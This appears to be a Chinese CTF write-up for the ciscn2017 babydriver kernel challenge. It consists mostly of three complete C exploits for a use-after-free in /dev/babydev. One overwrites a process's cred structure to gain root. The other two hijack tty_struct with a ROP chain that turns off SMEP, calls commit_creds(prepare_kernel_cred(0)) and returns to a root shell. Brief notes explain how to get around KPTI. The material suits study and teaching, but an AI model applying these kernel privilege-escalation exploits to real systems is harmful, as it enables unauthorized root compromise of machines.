您的位置:首页 > 其它

kernel UAF && tty_struct

2022-05-03 21:34 253 查看

#kernel UAF && 劫持tty_struct

####ciscn2017_babydriver exp1

fork
进程时会申请堆来存放
cred
。cred结构大小为0xA8。修改
cred
里的
uid
,
gid
为0,即可get root

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/wait.h>

int main()
{
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
char buf[28] = {0};
if(fd1 < 0 || fd2 < 0)
{
puts("[-] open error");
exit(-1);
}

ioctl(fd1, 0x10001, 0xa8);
close(fd1);

int pid = fork();
if(pid < 0)
{
puts("[-] fork error");
exit(-1);
}
else if(pid == 0)
{
write(fd2, buf, 28);
if(getuid() == 0)
{
puts("[+] root now");
system("/bin/sh");
}
}
else
{
wait(NULL);
}
close(fd2);
return 0;
}

打开

ptmx
时会申请一个大小为
0x2e0
的结构体
tty_struct
(size_t)tty_struct[3]
的位置是
tty_operations
里面存放了函数指针,劫持这个结构体可实现栈迁移。

劫持

write
指针,则
rax
tty_operations
的地址,劫持
ioctl
指针,则
rcx
tty_operations
的地址

补充一下:在开启

KPTI
的情况下直接返回用户态会
segmentation fault
,可以把原来的返回地址
get_shell
函数设为
signal
信号的处理函数,这样原先的 swapgs ; iretq 的方法就可以继续用了。(
signal(11, (size_t)get_shell)
),也可以用最后一个
exp
的方法。

当然我们可以直接用

swapgs_restore_regs_and_return_to_usermode
直接绕过
KPTI
,可能由于本题内核是一个过渡版本还没有
KPTI
而是
PTI
,我并没能找到这个函数。

exp2

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

size_t vmlinux_base, offset, commit_creds = 0xffffffff810a1420, prepare_kernel_cred = 0xffffffff810a1810;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;

void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] save the state success!");
}

void get_shell()
{
if (getuid() == 0)
{
puts("[+] get root");
system("/bin/sh");
puts("[*] get shell");
}
else
{
puts("[-] get shell error");
sleep(5);
exit(0);
}
}

void get_root()
{
//commit_creds(prepare_kernel_cred(0))
void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
void (*cc)(void *) = (void (*)(void *))commit_creds;
(*cc)((*pkc)(0));
}

int main()
{
signal(11, (size_t)get_shell);
size_t rop[0x100] = {0};
size_t user_buf[0x100] = {0};
size_t fake_tty_struct[4] = {0};
size_t fake_tty_operations[35] = {0};

save_status();
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
if(fd1 <0 || fd2 < 0)
{
puts("[-] open babydev error");
sleep(5);
exit(0);
}

ioctl(fd1, 0x10001, 0x2e0);
close(fd1);

int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
if(fd_tty < 0)
{
puts("[-] open ptmx error");
sleep(5);
exit(0);
}

int i = 0;
rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff814e35ef; // iretq; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

fake_tty_operations[7] = 0xffffffff8181bfc5; // mov rsp, rax;

fake_tty_operations[0] = 0xffffffff8100ce6e; // pop rax; ret;
fake_tty_operations[1] = (size_t)rop;
fake_tty_operations[2] = 0xffffffff8181bfc5; // mov rsp, rax;

read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_operations;

write(fd2, fake_tty_struct, 32);

write(fd_tty,"FXC",3);
return 0;
}

exp3

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>

typedef int __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420; // commit_creds
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810; // prepare_kernel_cred

size_t vmlinux_base, offset;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;

void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] save the state success!");
}

void set_affinity(int which_cpu)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(which_cpu, &cpu_set);
if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0)
{
perror("sched_setaffinity()");
exit(EXIT_FAILURE);
}
}

void get_shell()
{
if (getuid() == 0)
{
puts("[+] get root");
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}
else
{
puts("[-] get shell error");
sleep(3);
exit(0);
}
}

void get_root(void)
{
commit_creds(prepare_kernel_cred(0));
//void *(*pkc)(int) = (void *(*)(int))prepare_kernel_cred;
//void (*cc)(void *) = (void (*)(void *))commit_creds;
//(*cc)((*pkc)(0));
}

int main()
{
//signal(11, (size_t)get_shell);
size_t rop[0x100] = {0};
size_t user_buf[0x100] = {0};
size_t fake_tty_struct[4] = {0};
size_t fake_tty_operations[35] = {0};

save_status();
set_affinity(0);
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
if(fd1 <0 || fd2 < 0)
{
puts("[-] open babydev error");
sleep(3);
exit(0);
}

ioctl(fd1, 0x10001, 0x2e0);
close(fd1);

int i = 0;
rop[i++] = 0xffffffff810d238d; // pop rdi; ret;
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81063694; // swapgs; pop rbp; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff814e35ef; // iretq; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

fake_tty_operations[12] = 0xffffffff81007808; // xchg eax, esp; ret;

size_t fake_stack = 0xffffffff81007808 & 0xffffffff;
size_t mmap_base = fake_stack & 0xfffff000;

if(mmap((void *)mmap_base, 0x30000, 7, 0x22, -1, 0) != (void *)mmap_base)
{
puts("[-] mmap error");
sleep(3);
exit(0);
}
else
puts("[+] mmap success");

memcpy((void *)fake_stack, rop, sizeof(rop));

int fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY);
if(fd_tty < 0)
{
puts("[-] open ptmx error");
sleep(3);
exit(0);
}

read(fd2, fake_tty_struct, 32);
fake_tty_struct[3] = (size_t)fake_tty_operations;

write(fd2, fake_tty_struct, 32);

ioctl(fd_tty, 0, 0);
return 0;
}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: